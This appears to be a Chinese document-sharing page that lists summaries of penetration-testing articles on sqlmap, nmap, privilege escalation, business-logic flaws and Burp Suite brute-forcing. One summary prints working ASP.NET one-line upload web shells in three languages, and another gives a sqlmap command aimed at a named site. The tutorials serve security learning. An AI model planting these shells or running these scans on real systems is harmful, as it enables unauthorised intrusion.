共 88 篇文章
显示摘要每页显示  条
SqlMap检测注入点。-r sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数。例如: sqlmap.py -u "http://www.code521.com/index.php" --data="id=1" -f --banner --dbs --users      注意:项目实战中,post提交的数据中只是测试单个的参数是否存在sql注入的话这样用,测试所有的post用-r 结...
IP协议(Internet Protocol)网际协议----计算机之间通信。ICMP协议(Internet Control Message Protocol)控制报文协议,是TCP/IP的子协议----针对错误和状态。TCP协议(Transmission Control Protocol)传输控制协议----应用程序之间通信。TCP加强传输数据的可靠性。TCP(传输控制协议)、UDP(用户数据报协议)、IP(网际协议)、ICMP(因特...
sU这种扫描技术用来寻找目标主机打开的UDP端口。sV用来扫描目标主机和端口上运行的软件的版本,它需要从开放的端口获取信息来判断软件的版本,扫描速度会慢一些。-default:使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力;使用方法:nmap--script=‘$类别/$具体的脚本‘,例:nmap --script dns-brute xxx.xx.xx(目标) ,使用dns-br...
%>//Jscript的asp.net一句话<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"]) ); }%>//C#的asp.net一句话<% If Request.Files.Count <>0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>//VB的asp.net一句话。
b、漏洞扫描开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等。d、权限提升提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的...
a) 很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。c) 《我的越权之道》URL:http://drops.wooyun.org/tips/7270x08 业务流程乱序。http://wooyun.org/bugs/wooyun-2010-01081840x0...
a)很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。http://drops.wooyun.org/web/5048.http://wooyun.org/bugs/wooyun-2010-0108184密码找回逻辑漏洞总结http://drops.wooyun.org/we...
Battering ram特点:一个字典,两个参数,同用户名同密码同样,对于BurpSuite来说,还是会首先使用初始用户名和密码来进行登录,然后对于Battering ram来说,会使用这一个字典去同时匹配两个参数,相当于是同用户名同密码。Pitchfork特点:两个字典,两个参数,同行匹配,短的截至对于Pitchfork,一共有两个字典,第一个字典负责匹配第一项,第二...
暴力破解原理与过程详解一、爆破原理。这一步的作用是,收集构造HTTP数据包所需要的参数,比如cookie、get/post、referer、提交得字段名等。cookie:用在暴力破解过程中保持和服务器的连接referer:一些网站需要验证referer信息,告诉服务器,我是从哪个页面转过来的post/get: 决定数据包的提交方式字段名:通常存放在cookie当中,知道正确的...
HTTP头信息进行SQL注入。HTTP 查询字符参数(GET):输入参数通过URL发送HTTP 正文参数(POST):输入参数通过HTTP正文发送HTTP Cookie参数:输入参数通过HTTP cookie发送HTTP Headers:HTTP提交应用程序使用的头。Cookie Manager+ 允许查看,编辑和创建新的cookies,它也提供显示cookies的一些额外信息,支持同时修改多个cookies,而且我们可...
帮助 | 留言交流 | 联系我们 | 服务条款 | 下载网文摘手 | 下载手机客户端
北京六智信息技术股份有限公司 Copyright© 2005-2021 360doc.com , All Rights Reserved
京ICP证090625号 京ICP备05038915号 京网文[2016]6433-853号 京公网安备11010502030377号
返回
顶部